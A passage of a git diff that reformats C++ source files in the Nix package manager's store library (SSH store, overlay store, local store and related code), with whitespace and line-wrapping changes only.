ServeProto::Command::AddToStoreNar - << printStorePath(info.path) - << (info.deriver ? printStorePath(*info.deriver) : "") - << info.narHash.to_string(HashFormat::Base16, false); + conn->to << ServeProto::Command::AddToStoreNar << printStorePath(info.path) + << (info.deriver ? printStorePath(*info.deriver) : "") + << info.narHash.to_string(HashFormat::Base16, false); ServeProto::write(*this, *conn, info.references); - conn->to - << info.registrationTime - << info.narSize - << info.ultimate - << info.sigs - << renderContentAddress(info.ca); + conn->to << info.registrationTime << info.narSize << info.ultimate << info.sigs + << renderContentAddress(info.ca); try { copyNAR(source, conn->to); } catch (...) { @@ -189,35 +168,24 @@ void LegacySSHStore::addToStore(const ValidPathInfo & info, Source & source, conn->good = false; throw; } - sink - << exportMagic - << printStorePath(info.path); + sink << exportMagic << printStorePath(info.path); ServeProto::write(*this, *conn, info.references); - sink - << (info.deriver ? printStorePath(*info.deriver) : "") - << 0 - << 0; + sink << (info.deriver ? printStorePath(*info.deriver) : "") << 0 << 0; }); - } } - void LegacySSHStore::narFromPath(const StorePath & path, Sink & sink) { - narFromPath(path, [&](auto & source) { - copyNAR(source, sink); - }); + narFromPath(path, [&](auto & source) { copyNAR(source, sink); }); } - void LegacySSHStore::narFromPath(const StorePath & path, std::function fun) { auto conn(connections->get()); conn->narFromPath(*this, path, fun); } - static ServeProto::BuildOptions buildSettings() { return { @@ -230,9 +198,7 @@ static ServeProto::BuildOptions buildSettings() }; } - -BuildResult LegacySSHStore::buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, - BuildMode buildMode) +BuildResult LegacySSHStore::buildDerivation(const StorePath & drvPath, const BasicDerivation & drv, BuildMode buildMode) { auto conn(connections->get()); @@ -242,20 +208,17 @@ BuildResult LegacySSHStore::buildDerivation(const StorePath & drvPath, const Bas } std::function LegacySSHStore::buildDerivationAsync( - const StorePath & drvPath, const BasicDerivation & drv, - const ServeProto::BuildOptions & options) + const StorePath & drvPath, const BasicDerivation & drv, const ServeProto::BuildOptions & options) { // Until we have C++23 std::move_only_function auto conn = std::make_shared::Handle>(connections->get()); (*conn)->putBuildDerivationRequest(*this, drvPath, drv, options); - return [this,conn]() -> BuildResult { - return (*conn)->getBuildDerivationResponse(*this); - }; + return [this, conn]() -> BuildResult { return (*conn)->getBuildDerivationResponse(*this); }; } - -void LegacySSHStore::buildPaths(const std::vector & drvPaths, BuildMode buildMode, std::shared_ptr evalStore) +void LegacySSHStore::buildPaths( + const std::vector & drvPaths, BuildMode buildMode, std::shared_ptr evalStore) { if (evalStore && evalStore.get() != this) throw Error("building on an SSH store is incompatible with '--eval-store'"); @@ -266,17 +229,20 @@ void LegacySSHStore::buildPaths(const std::vector & drvPaths, Build Strings ss; for (auto & p : drvPaths) { auto sOrDrvPath = StorePathWithOutputs::tryFromDerivedPath(p); - std::visit(overloaded { - [&](const StorePathWithOutputs & s) { - ss.push_back(s.to_string(*this)); + std::visit( + overloaded{ + [&](const StorePathWithOutputs & s) { ss.push_back(s.to_string(*this)); }, + [&](const StorePath & drvPath) { + throw Error( + "wanted to fetch '%s' but the legacy ssh protocol doesn't support merely substituting drv files via the build paths command. It would build them instead. Try using ssh-ng://", + printStorePath(drvPath)); + }, + [&](std::monostate) { + throw Error( + "wanted build derivation that is itself a build product, but the legacy ssh protocol doesn't support that. Try using ssh-ng://"); + }, }, - [&](const StorePath & drvPath) { - throw Error("wanted to fetch '%s' but the legacy ssh protocol doesn't support merely substituting drv files via the build paths command. It would build them instead. Try using ssh-ng://", printStorePath(drvPath)); - }, - [&](std::monostate) { - throw Error("wanted build derivation that is itself a build product, but the legacy ssh protocol doesn't support that. Try using ssh-ng://"); - }, - }, sOrDrvPath); + sOrDrvPath); } conn->to << ss; @@ -293,10 +259,8 @@ void LegacySSHStore::buildPaths(const std::vector & drvPaths, Build } } - -void LegacySSHStore::computeFSClosure(const StorePathSet & paths, - StorePathSet & out, bool flipDirection, - bool includeOutputs, bool includeDerivers) +void LegacySSHStore::computeFSClosure( + const StorePathSet & paths, StorePathSet & out, bool flipDirection, bool includeOutputs, bool includeDerivers) { if (flipDirection || includeDerivers) { Store::computeFSClosure(paths, out, flipDirection, includeOutputs, includeDerivers); @@ -305,9 +269,7 @@ void LegacySSHStore::computeFSClosure(const StorePathSet & paths, auto conn(connections->get()); - conn->to - << ServeProto::Command::QueryClosure - << includeOutputs; + conn->to << ServeProto::Command::QueryClosure << includeOutputs; ServeProto::write(*this, *conn, paths); conn->to.flush(); @@ -315,25 +277,18 @@ void LegacySSHStore::computeFSClosure(const StorePathSet & paths, out.insert(i); } - -StorePathSet LegacySSHStore::queryValidPaths(const StorePathSet & paths, - SubstituteFlag maybeSubstitute) +StorePathSet LegacySSHStore::queryValidPaths(const StorePathSet & paths, SubstituteFlag maybeSubstitute) { auto conn(connections->get()); - return conn->queryValidPaths(*this, - false, paths, maybeSubstitute); + return conn->queryValidPaths(*this, false, paths, maybeSubstitute); } - -StorePathSet LegacySSHStore::queryValidPaths(const StorePathSet & paths, - bool lock, SubstituteFlag maybeSubstitute) +StorePathSet LegacySSHStore::queryValidPaths(const StorePathSet & paths, bool lock, SubstituteFlag maybeSubstitute) { auto conn(connections->get()); - return conn->queryValidPaths(*this, - lock, paths, maybeSubstitute); + return conn->queryValidPaths(*this, lock, paths, maybeSubstitute); } - void LegacySSHStore::addMultipleToStoreLegacy(Store & srcStore, const StorePathSet & paths) { auto conn(connections->get()); @@ -350,20 +305,17 @@ void LegacySSHStore::addMultipleToStoreLegacy(Store & srcStore, const StorePathS throw Error("remote machine failed to import closure"); } - void LegacySSHStore::connect() { auto conn(connections->get()); } - unsigned int LegacySSHStore::getProtocol() { auto conn(connections->get()); return conn->remoteVersion; } - pid_t LegacySSHStore::getConnectionPid() { auto conn(connections->get()); @@ -375,7 +327,6 @@ pid_t LegacySSHStore::getConnectionPid() #endif } - LegacySSHStore::ConnectionStats LegacySSHStore::getConnectionStats() { auto conn(connections->get()); @@ -385,7 +336,6 @@ LegacySSHStore::ConnectionStats LegacySSHStore::getConnectionStats() }; } - /** * The legacy ssh protocol doesn't support checking for trusted-user. * Try using ssh-ng:// instead if you want to know. @@ -395,7 +345,6 @@ std::optional isTrustedClient() return std::nullopt; } - static RegisterStoreImplementation regLegacySSHStore; } diff --git a/src/libstore/linux/include/nix/store/personality.hh b/src/libstore/linux/include/nix/store/personality.hh index 6a6376f8f..01bf2bf33 100644 --- a/src/libstore/linux/include/nix/store/personality.hh +++ b/src/libstore/linux/include/nix/store/personality.hh @@ -8,5 +8,3 @@ namespace nix::linux { void setPersonality(std::string_view system); } - - diff --git a/src/libstore/linux/personality.cc b/src/libstore/linux/personality.cc index e87006d86..4199d812f 100644 --- a/src/libstore/linux/personality.cc +++ b/src/libstore/linux/personality.cc @@ -10,32 +10,31 @@ namespace nix::linux { void setPersonality(std::string_view system) { - /* Change the personality to 32-bit if we're doing an - i686-linux build on an x86_64-linux machine. */ - struct utsname utsbuf; - uname(&utsbuf); - if ((system == "i686-linux" - && (std::string_view(NIX_LOCAL_SYSTEM) == "x86_64-linux" - || (!strcmp(utsbuf.sysname, "Linux") && !strcmp(utsbuf.machine, "x86_64")))) - || system == "armv7l-linux" - || system == "armv6l-linux" - || system == "armv5tel-linux") - { - if (personality(PER_LINUX32) == -1) - throw SysError("cannot set 32-bit personality"); - } + /* Change the personality to 32-bit if we're doing an + i686-linux build on an x86_64-linux machine. */ + struct utsname utsbuf; + uname(&utsbuf); + if ((system == "i686-linux" + && (std::string_view(NIX_LOCAL_SYSTEM) == "x86_64-linux" + || (!strcmp(utsbuf.sysname, "Linux") && !strcmp(utsbuf.machine, "x86_64")))) + || system == "armv7l-linux" || system == "armv6l-linux" || system == "armv5tel-linux") { + if (personality(PER_LINUX32) == -1) + throw SysError("cannot set 32-bit personality"); + } - /* Impersonate a Linux 2.6 machine to get some determinism in - builds that depend on the kernel version. */ - if ((system == "i686-linux" || system == "x86_64-linux") && settings.impersonateLinux26) { - int cur = personality(0xffffffff); - if (cur != -1) personality(cur | 0x0020000 /* == UNAME26 */); - } - - /* Disable address space randomization for improved - determinism. */ + /* Impersonate a Linux 2.6 machine to get some determinism in + builds that depend on the kernel version. */ + if ((system == "i686-linux" || system == "x86_64-linux") && settings.impersonateLinux26) { int cur = personality(0xffffffff); - if (cur != -1) personality(cur | ADDR_NO_RANDOMIZE); + if (cur != -1) + personality(cur | 0x0020000 /* == UNAME26 */); + } + + /* Disable address space randomization for improved + determinism. */ + int cur = personality(0xffffffff); + if (cur != -1) + personality(cur | ADDR_NO_RANDOMIZE); } } diff --git a/src/libstore/local-binary-cache-store.cc b/src/libstore/local-binary-cache-store.cc index 212eacc8c..9a472c7e8 100644 --- a/src/libstore/local-binary-cache-store.cc +++ b/src/libstore/local-binary-cache-store.cc @@ -8,34 +8,27 @@ namespace nix { LocalBinaryCacheStoreConfig::LocalBinaryCacheStoreConfig( - std::string_view scheme, - PathView binaryCacheDir, - const Params & params) + std::string_view scheme, PathView binaryCacheDir, const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) , binaryCacheDir(binaryCacheDir) { } - std::string LocalBinaryCacheStoreConfig::doc() { return - #include "local-binary-cache-store.md" - ; +#include "local-binary-cache-store.md" + ; } - struct LocalBinaryCacheStore : virtual LocalBinaryCacheStoreConfig, virtual BinaryCacheStore { /** * @param binaryCacheDir `file://` is a short-hand for `file:///` * for now. */ - LocalBinaryCacheStore( - std::string_view scheme, - PathView binaryCacheDir, - const Params & params) + LocalBinaryCacheStore(std::string_view scheme, PathView binaryCacheDir, const Params & params) : StoreConfig(params) , BinaryCacheStoreConfig(params) , LocalBinaryCacheStoreConfig(scheme, binaryCacheDir, params) @@ -55,7 +48,8 @@ protected: bool fileExists(const std::string & path) override; - void upsertFile(const std::string & path, + void upsertFile( + const std::string & path, std::shared_ptr> istream, const std::string & mimeType) override { @@ -87,12 +81,9 @@ protected: for (auto & entry : std::filesystem::directory_iterator{binaryCacheDir}) { checkInterrupt(); auto name = entry.path().filename().string(); - if (name.size() != 40 || - !hasSuffix(name, ".narinfo")) + if (name.size() != 40 || !hasSuffix(name, ".narinfo")) continue; - paths.insert(parseStorePath( - storeDir + "/" + name.substr(0, name.size() - 8) - + "-" + MissingName)); + paths.insert(parseStorePath(storeDir + "/" + name.substr(0, name.size() - 8) + "-" + MissingName)); } return paths; diff --git a/src/libstore/local-fs-store.cc b/src/libstore/local-fs-store.cc index c6c5d53c9..502835a63 100644 --- a/src/libstore/local-fs-store.cc +++ b/src/libstore/local-fs-store.cc @@ -13,12 +13,10 @@ LocalFSStoreConfig::LocalFSStoreConfig(PathView rootDir, const Params & params) // Default `?root` from `rootDir` if non set // FIXME don't duplicate description once we don't have root setting , rootDir{ - this, - !rootDir.empty() && params.count("root") == 0 - ? (std::optional{rootDir}) - : std::nullopt, - "root", - "Directory prefixed to all other paths."} + this, + !rootDir.empty() && params.count("root") == 0 ? (std::optional{rootDir}) : std::nullopt, + "root", + "Directory prefixed to all other paths."} { } @@ -39,7 +37,6 @@ struct LocalStoreAccessor : PosixSourceAccessor { } - void requireStoreObject(const CanonPath & path) { auto [storePath, rest] = store->toStorePath(store->storeDir + path.abs()); @@ -52,7 +49,7 @@ struct LocalStoreAccessor : PosixSourceAccessor /* Also allow `path` to point to the entire store, which is needed for resolving symlinks. */ if (path.isRoot()) - return Stat{ .type = tDirectory }; + return Stat{.type = tDirectory}; requireStoreObject(path); return PosixSourceAccessor::maybeLstat(path); @@ -64,10 +61,7 @@ struct LocalStoreAccessor : PosixSourceAccessor return PosixSourceAccessor::readDirectory(path); } - void readFile( - const CanonPath & path, - Sink & sink, - std::function sizeCallback) override + void readFile(const CanonPath & path, Sink & sink, std::function sizeCallback) override { requireStoreObject(path); return PosixSourceAccessor::readFile(path, sink, sizeCallback); @@ -82,9 +76,8 @@ struct LocalStoreAccessor : PosixSourceAccessor ref LocalFSStore::getFSAccessor(bool requireValidPath) { - return make_ref(ref( - std::dynamic_pointer_cast(shared_from_this())), - requireValidPath); + return make_ref( + ref(std::dynamic_pointer_cast(shared_from_this())), requireValidPath); } void LocalFSStore::narFromPath(const StorePath & path, Sink & sink) @@ -102,10 +95,8 @@ std::optional LocalFSStore::getBuildLogExact(const StorePath & path for (int j = 0; j < 2; j++) { - Path logPath = - j == 0 - ? fmt("%s/%s/%s/%s", logDir, drvsLogDir, baseName.substr(0, 2), baseName.substr(2)) - : fmt("%s/%s/%s", logDir, drvsLogDir, baseName); + Path logPath = j == 0 ? fmt("%s/%s/%s/%s", logDir, drvsLogDir, baseName.substr(0, 2), baseName.substr(2)) + : fmt("%s/%s/%s", logDir, drvsLogDir, baseName); Path logBz2Path = logPath + ".bz2"; if (pathExists(logPath)) @@ -114,9 +105,9 @@ std::optional LocalFSStore::getBuildLogExact(const StorePath & path else if (pathExists(logBz2Path)) { try { return decompress("bzip2", readFile(logBz2Path)); - } catch (Error &) { } + } catch (Error &) { + } } - } return std::nullopt; diff --git a/src/libstore/local-overlay-store.cc b/src/libstore/local-overlay-store.cc index 38fa634ca..32d9712c8 100644 --- a/src/libstore/local-overlay-store.cc +++ b/src/libstore/local-overlay-store.cc @@ -10,11 +10,12 @@ namespace nix { std::string LocalOverlayStoreConfig::doc() { return - #include "local-overlay-store.md" +#include "local-overlay-store.md" ; } -Path LocalOverlayStoreConfig::toUpperPath(const StorePath & path) { +Path LocalOverlayStoreConfig::toUpperPath(const StorePath & path) +{ return upperLayer + "/" + path.to_string(); } @@ -50,13 +51,11 @@ LocalOverlayStore::LocalOverlayStore(std::string_view scheme, PathView path, con debug("expected lowerdir: %s", expectedLowerDir); debug("expected upperdir: %s", upperLayer); debug("actual mount: %s", mountInfo); - throw Error("overlay filesystem '%s' mounted incorrectly", - realStoreDir.get()); + throw Error("overlay filesystem '%s' mounted incorrectly", realStoreDir.get()); } } } - void LocalOverlayStore::registerDrvOutput(const Realisation & info) { // First do queryRealisation on lower layer to populate DB @@ -67,14 +66,13 @@ void LocalOverlayStore::registerDrvOutput(const Realisation & info) LocalStore::registerDrvOutput(info); } - -void LocalOverlayStore::queryPathInfoUncached(const StorePath & path, - Callback> callback) noexcept +void LocalOverlayStore::queryPathInfoUncached( + const StorePath & path, Callback> callback) noexcept { auto callbackPtr = std::make_shared(std::move(callback)); - LocalStore::queryPathInfoUncached(path, - {[this, path, callbackPtr](std::future> fut) { + LocalStore::queryPathInfoUncached( + path, {[this, path, callbackPtr](std::future> fut) { try { auto info = fut.get(); if (info) @@ -83,25 +81,23 @@ void LocalOverlayStore::queryPathInfoUncached(const StorePath & path, return callbackPtr->rethrow(); } // If we don't have it, check lower store - lowerStore->queryPathInfo(path, - {[path, callbackPtr](std::future> fut) { - try { - (*callbackPtr)(fut.get().get_ptr()); - } catch (...) { - return callbackPtr->rethrow(); - } - }}); + lowerStore->queryPathInfo(path, {[path, callbackPtr](std::future> fut) { + try { + (*callbackPtr)(fut.get().get_ptr()); + } catch (...) { + return callbackPtr->rethrow(); + } + }}); }}); } - -void LocalOverlayStore::queryRealisationUncached(const DrvOutput & drvOutput, - Callback> callback) noexcept +void LocalOverlayStore::queryRealisationUncached( + const DrvOutput & drvOutput, Callback> callback) noexcept { auto callbackPtr = std::make_shared(std::move(callback)); - LocalStore::queryRealisationUncached(drvOutput, - {[this, drvOutput, callbackPtr](std::future> fut) { + LocalStore::queryRealisationUncached( + drvOutput, {[this, drvOutput, callbackPtr](std::future> fut) { try { auto info = fut.get(); if (info) @@ -110,8 +106,8 @@ void LocalOverlayStore::queryRealisationUncached(const DrvOutput & drvOutput, return callbackPtr->rethrow(); } // If we don't have it, check lower store - lowerStore->queryRealisation(drvOutput, - {[callbackPtr](std::future> fut) { + lowerStore->queryRealisation( + drvOutput, {[callbackPtr](std::future> fut) { try { (*callbackPtr)(fut.get()); } catch (...) { @@ -121,11 +117,11 @@ void LocalOverlayStore::queryRealisationUncached(const DrvOutput & drvOutput, }}); } - bool LocalOverlayStore::isValidPathUncached(const StorePath & path) { auto res = LocalStore::isValidPathUncached(path); - if (res) return res; + if (res) + return res; res = lowerStore->isValidPath(path); if (res) { // Get path info from lower store so upper DB genuinely has it. @@ -139,20 +135,17 @@ bool LocalOverlayStore::isValidPathUncached(const StorePath & path) return res; } - void LocalOverlayStore::queryReferrers(const StorePath & path, StorePathSet & referrers) { LocalStore::queryReferrers(path, referrers); lowerStore->queryReferrers(path, referrers); } - void LocalOverlayStore::queryGCReferrers(const StorePath & path, StorePathSet & referrers) { LocalStore::queryReferrers(path, referrers); } - StorePathSet LocalOverlayStore::queryValidDerivers(const StorePath & path) { auto res = LocalStore::queryValidDerivers(path); @@ -161,7 +154,6 @@ StorePathSet LocalOverlayStore::queryValidDerivers(const StorePath & path) return res; } - std::optional LocalOverlayStore::queryPathFromHashPart(const std::string & hashPart) { auto res = LocalStore::queryPathFromHashPart(hashPart); @@ -171,7 +163,6 @@ std::optional LocalOverlayStore::queryPathFromHashPart(const std::str return lowerStore->queryPathFromHashPart(hashPart); } - void LocalOverlayStore::registerValidPaths(const ValidPathInfos & infos) { // First, get any from lower store so we merge @@ -190,7 +181,6 @@ void LocalOverlayStore::registerValidPaths(const ValidPathInfos & infos) LocalStore::registerValidPaths(infos); } - void LocalOverlayStore::collectGarbage(const GCOptions & options, GCResults & results) { LocalStore::collectGarbage(options, results); @@ -198,7 +188,6 @@ void LocalOverlayStore::collectGarbage(const GCOptions & options, GCResults & re remountIfNecessary(); } - void LocalOverlayStore::deleteStorePath(const Path & path, uint64_t & bytesFreed) { auto mergedDir = realStoreDir.get() + "/"; @@ -226,7 +215,6 @@ void LocalOverlayStore::deleteStorePath(const Path & path, uint64_t & bytesFreed } } - void LocalOverlayStore::optimiseStore() { Activity act(*logger, actOptimiseStore); @@ -251,7 +239,6 @@ void LocalOverlayStore::optimiseStore() remountIfNecessary(); } - LocalStore::VerificationResult LocalOverlayStore::verifyAllValidPaths(RepairFlag repair) { StorePathSet done; @@ -272,10 +259,10 @@ LocalStore::VerificationResult LocalOverlayStore::verifyAllValidPaths(RepairFlag }; } - void LocalOverlayStore::remountIfNecessary() { - if (!_remountRequired) return; + if (!_remountRequired) + return; if (remountHook.get().empty()) { warn("'%s' needs remounting, set remount-hook to do this automatically", realStoreDir.get()); @@ -286,7 +273,6 @@ void LocalOverlayStore::remountIfNecessary() _remountRequired = false; } - static RegisterStoreImplementation regLocalOverlayStore; } diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc index 1c6d6bced..1ff9b45c8 100644 --- a/src/libstore/local-store.cc +++ b/src/libstore/local-store.cc @@ -35,17 +35,17 @@ #include #ifndef _WIN32 -# include +# include #endif #ifdef __linux__ -# include -# include -# include +# include +# include +# include #endif #ifdef __CYGWIN__ -# include +# include #endif #include @@ -56,13 +56,9 @@ #include "store-config-private.hh" - namespace nix { -LocalStoreConfig::LocalStoreConfig( - std::string_view scheme, - std::string_view authority, - const Params & params) +LocalStoreConfig::LocalStoreConfig(std::string_view scheme, std::string_view authority, const Params & params) : StoreConfig(params) , LocalFSStoreConfig(authority, params) { @@ -71,11 +67,12 @@ LocalStoreConfig::LocalStoreConfig( std::string LocalStoreConfig::doc() { return - #include "local-store.md" +#include "local-store.md" ; } -struct LocalStore::State::Stmts { +struct LocalStore::State::Stmts +{ /* Some precompiled SQLite statements. */ SQLiteStmt RegisterValidPath; SQLiteStmt UpdatePathInfo; @@ -97,10 +94,7 @@ struct LocalStore::State::Stmts { SQLiteStmt AddRealisationReference; }; -LocalStore::LocalStore( - std::string_view scheme, - PathView path, - const Params & params) +LocalStore::LocalStore(std::string_view scheme, PathView path, const Params & params) : StoreConfig(params) , LocalFSStoreConfig(path, params) , LocalStoreConfig(scheme, path, params) @@ -152,7 +146,8 @@ LocalStore::LocalStore( struct group * gr = getgrnam(settings.buildUsersGroup.get().c_str()); if (!gr) - printError("warning: the group '%1%' specified in 'build-users-group' does not exist", settings.buildUsersGroup); + printError( + "warning: the group '%1%' specified in 'build-users-group' does not exist", settings.buildUsersGroup); else if (!readOnly) { struct stat st; if (stat(realStoreDir.get().c_str(), &st)) @@ -175,9 +170,9 @@ LocalStore::LocalStore( while (path != root) { if (std::filesystem::is_symlink(path)) throw Error( - "the path '%1%' is a symlink; " - "this is not allowed for the Nix store and its parent directories", - path); + "the path '%1%' is a symlink; " + "this is not allowed for the Nix store and its parent directories", + path); path = path.parent_path(); } } @@ -188,14 +183,15 @@ LocalStore::LocalStore( before doing a garbage collection. */ try { struct stat st; - if (stat(reservedPath.c_str(), &st) == -1 || - st.st_size != settings.reservedSize) - { - AutoCloseFD fd = toDescriptor(open(reservedPath.c_str(), O_WRONLY | O_CREAT + if (stat(reservedPath.c_str(), &st) == -1 || st.st_size != settings.reservedSize) { + AutoCloseFD fd = toDescriptor(open( + reservedPath.c_str(), + O_WRONLY | O_CREAT #ifndef _WIN32 - | O_CLOEXEC + | O_CLOEXEC #endif - , 0600)); + , + 0600)); int res = -1; #if HAVE_POSIX_FALLOCATE res = posix_fallocate(fd.get(), 0, settings.reservedSize); @@ -233,14 +229,13 @@ LocalStore::LocalStore( if (readOnly && curSchema < nixSchemaVersion) { debug("current schema version: %d", curSchema); debug("supported schema version: %d", nixSchemaVersion); - throw Error(curSchema == 0 ? - "database does not exist, and cannot be created in read-only mode" : - "database schema needs migrating, but this cannot be done in read-only mode"); + throw Error( + curSchema == 0 ? "database does not exist, and cannot be created in read-only mode" + : "database schema needs migrating, but this cannot be done in read-only mode"); } if (curSchema > nixSchemaVersion) - throw Error("current Nix store schema is version %1%, but I only support %2%", - curSchema, nixSchemaVersion); + throw Error("current Nix store schema is version %1%, but I only support %2%", curSchema, nixSchemaVersion); else if (curSchema == 0) { /* new store */ curSchema = nixSchemaVersion; @@ -263,7 +258,8 @@ LocalStore::LocalStore( if (!lockFile(globalLock.get(), ltWrite, false)) { printInfo("waiting for exclusive access to the Nix store..."); - lockFile(globalLock.get(), ltNone, false); // We have acquired a shared lock; release it to prevent deadlocks + lockFile( + globalLock.get(), ltNone, false); // We have acquired a shared lock; release it to prevent deadlocks lockFile(globalLock.get(), ltWrite, true); } @@ -301,44 +297,46 @@ LocalStore::LocalStore( lockFile(globalLock.get(), ltRead, true); } - else openDB(*state, false); + else + openDB(*state, false); upgradeDBSchema(*state); /* Prepare SQL statements. */ - state->stmts->RegisterValidPath.create(state->db, + state->stmts->RegisterValidPath.create( + state->db, "insert into ValidPaths (path, hash, registrationTime, deriver, narSize, ultimate, sigs, ca) values (?, ?, ?, ?, ?, ?, ?, ?);"); - state->stmts->UpdatePathInfo.create(state->db, - "update ValidPaths set narSize = ?, hash = ?, ultimate = ?, sigs = ?, ca = ? where path = ?;"); - state->stmts->AddReference.create(state->db, - "insert or replace into Refs (referrer, reference) values (?, ?);"); - state->stmts->QueryPathInfo.create(state->db, + state->stmts->UpdatePathInfo.create( + state->db, "update ValidPaths set narSize = ?, hash = ?, ultimate = ?, sigs = ?, ca = ? where path = ?;"); + state->stmts->AddReference.create(state->db, "insert or replace into Refs (referrer, reference) values (?, ?);"); + state->stmts->QueryPathInfo.create( + state->db, "select id, hash, registrationTime, deriver, narSize, ultimate, sigs, ca from ValidPaths where path = ?;"); - state->stmts->QueryReferences.create(state->db, - "select path from Refs join ValidPaths on reference = id where referrer = ?;"); - state->stmts->QueryReferrers.create(state->db, + state->stmts->QueryReferences.create( + state->db, "select path from Refs join ValidPaths on reference = id where referrer = ?;"); + state->stmts->QueryReferrers.create( + state->db, "select path from Refs join ValidPaths on referrer = id where reference = (select id from ValidPaths where path = ?);"); - state->stmts->InvalidatePath.create(state->db, - "delete from ValidPaths where path = ?;"); - state->stmts->AddDerivationOutput.create(state->db, - "insert or replace into DerivationOutputs (drv, id, path) values (?, ?, ?);"); - state->stmts->QueryValidDerivers.create(state->db, - "select v.id, v.path from DerivationOutputs d join ValidPaths v on d.drv = v.id where d.path = ?;"); - state->stmts->QueryDerivationOutputs.create(state->db, - "select id, path from DerivationOutputs where drv = ?;"); + state->stmts->InvalidatePath.create(state->db, "delete from ValidPaths where path = ?;"); + state->stmts->AddDerivationOutput.create( + state->db, "insert or replace into DerivationOutputs (drv, id, path) values (?, ?, ?);"); + state->stmts->QueryValidDerivers.create( + state->db, "select v.id, v.path from DerivationOutputs d join ValidPaths v on d.drv = v.id where d.path = ?;"); + state->stmts->QueryDerivationOutputs.create(state->db, "select id, path from DerivationOutputs where drv = ?;"); // Use "path >= ?" with limit 1 rather than "path like '?%'" to // ensure efficient lookup. - state->stmts->QueryPathFromHashPart.create(state->db, - "select path from ValidPaths where path >= ? limit 1;"); + state->stmts->QueryPathFromHashPart.create(state->db, "select path from ValidPaths where path >= ? limit 1;"); state->stmts->QueryValidPaths.create(state->db, "select path from ValidPaths"); if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) { - state->stmts->RegisterRealisedOutput.create(state->db, + state->stmts->RegisterRealisedOutput.create( + state->db, R"( insert into Realisations (drvPath, outputName, outputPath, signatures) values (?, ?, (select id from ValidPaths where path = ?), ?) ; )"); - state->stmts->UpdateRealisedOutput.create(state->db, + state->stmts->UpdateRealisedOutput.create( + state->db, R"( update Realisations set signatures = ? @@ -347,27 +345,31 @@ LocalStore::LocalStore( outputName = ? ; )"); - state->stmts->QueryRealisedOutput.create(state->db, + state->stmts->QueryRealisedOutput.create( + state->db, R"( select Realisations.id, Output.path, Realisations.signatures from Realisations inner join ValidPaths as Output on Output.id = Realisations.outputPath where drvPath = ? and outputName = ? ; )"); - state->stmts->QueryAllRealisedOutputs.create(state->db, + state->stmts->QueryAllRealisedOutputs.create( + state->db, R"( select outputName, Output.path from Realisations inner join ValidPaths as Output on Output.id = Realisations.outputPath where drvPath = ? ; )"); - state->stmts->QueryRealisationReferences.create(state->db, + state->stmts->QueryRealisationReferences.create( + state->db, R"( select drvPath, outputName from Realisations join RealisationsRefs on realisationReference = Realisations.id where referrer = ?; )"); - state->stmts->AddRealisationReference.create(state->db, + state->stmts->AddRealisationReference.create( + state->db, R"( insert or replace into RealisationsRefs (referrer, realisationReference) values ( @@ -377,33 +379,32 @@ LocalStore::LocalStore( } } - LocalStore::LocalStore(const Params & params) : LocalStore("local", "", params) { } - AutoCloseFD LocalStore::openGCLock() { Path fnGCLock = stateDir + "/gc.lock"; - auto fdGCLock = open(fnGCLock.c_str(), O_RDWR | O_CREAT + auto fdGCLock = open( + fnGCLock.c_str(), + O_RDWR | O_CREAT #ifndef _WIN32 - | O_CLOEXEC + | O_CLOEXEC #endif - , 0600); + , + 0600); if (!fdGCLock) throw SysError("opening global GC lock '%1%'", fnGCLock); return toDescriptor(fdGCLock); } - void LocalStore::deleteStorePath(const Path & path, uint64_t & bytesFreed) { deletePath(path, bytesFreed); } - LocalStore::~LocalStore() { std::shared_future future; @@ -430,13 +431,11 @@ LocalStore::~LocalStore() } } - std::string LocalStore::getUri() { return "local"; } - int LocalStore::getSchema() { int curSchema = 0; @@ -462,9 +461,7 @@ void LocalStore::openDB(State & state, bool create) /* Open the Nix database. */ std::string dbPath = dbDir + "/db.sqlite"; auto & db(state.db); - auto openMode = readOnly ? SQLiteOpenMode::Immutable - : create ? SQLiteOpenMode::Normal - : SQLiteOpenMode::NoCreate; + auto openMode = readOnly ? SQLiteOpenMode::Immutable : create ? SQLiteOpenMode::Normal : SQLiteOpenMode::NoCreate; state.db = SQLite(dbPath, openMode); #ifdef __CYGWIN__ @@ -498,8 +495,8 @@ void LocalStore::openDB(State & state, bool create) SQLiteError::throw_(db, "querying journal mode"); prevMode = std::string((const char *) sqlite3_column_text(stmt, 0)); } - if (prevMode != mode && - sqlite3_exec(db, ("pragma main.journal_mode = " + mode + ";").c_str(), 0, 0, 0) != SQLITE_OK) + if (prevMode != mode + && sqlite3_exec(db, ("pragma main.journal_mode = " + mode + ";").c_str(), 0, 0, 0) != SQLITE_OK) SQLiteError::throw_(db, "setting journal mode"); if (mode == "wal") { @@ -530,7 +527,6 @@ void LocalStore::openDB(State & state, bool create) } } - void LocalStore::upgradeDBSchema(State & state) { state.db.exec("create table if not exists SchemaMigrations (migration text primary key not null);"); @@ -545,8 +541,7 @@ void LocalStore::upgradeDBSchema(State & state) schemaMigrations.insert(useQuerySchemaMigrations.getStr(0)); } - auto doUpgrade = [&](const std::string & migrationName, const std::string & stmt) - { + auto doUpgrade = [&](const std::string & migrationName, const std::string & stmt) { if (schemaMigrations.contains(migrationName)) return; @@ -562,17 +557,17 @@ void LocalStore::upgradeDBSchema(State & state) if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations)) doUpgrade( "20220326-ca-derivations", - #include "ca-specific-schema.sql.gen.hh" - ); +#include "ca-specific-schema.sql.gen.hh" + ); } - /* To improve purity, users may want to make the Nix store a read-only bind mount. So make the Nix store writable for this process. */ void LocalStore::makeStoreWritable() { #ifdef __linux__ - if (!isRootUser()) return; + if (!isRootUser()) + return; /* Check if /nix/store is on a read-only mount. */ struct statvfs stat; if (statvfs(realStoreDir.get().c_str(), &stat) != 0) @@ -585,14 +580,14 @@ void LocalStore::makeStoreWritable() #endif } - void LocalStore::registerDrvOutput(const Realisation & info, CheckSigsFlag checkSigs) { experimentalFeatureSettings.require(Xp::CaDerivations); if (checkSigs == NoCheckSigs || !realisationIsUntrusted(info)) registerDrvOutput(info); else - throw Error("cannot register realisation '%s' because it lacks a signature by a trusted key", info.outPath.to_string()); + throw Error( + "cannot register realisation '%s' because it lacks a signature by a trusted key", info.outPath.to_string()); } void LocalStore::registerDrvOutput(const Realisation & info) @@ -603,84 +598,68 @@ void LocalStore::registerDrvOutput(const Realisation & info) if (auto oldR = queryRealisation_(*state, info.id)) { if (info.isCompatibleWith(*oldR)) { auto combinedSignatures = oldR->signatures; - 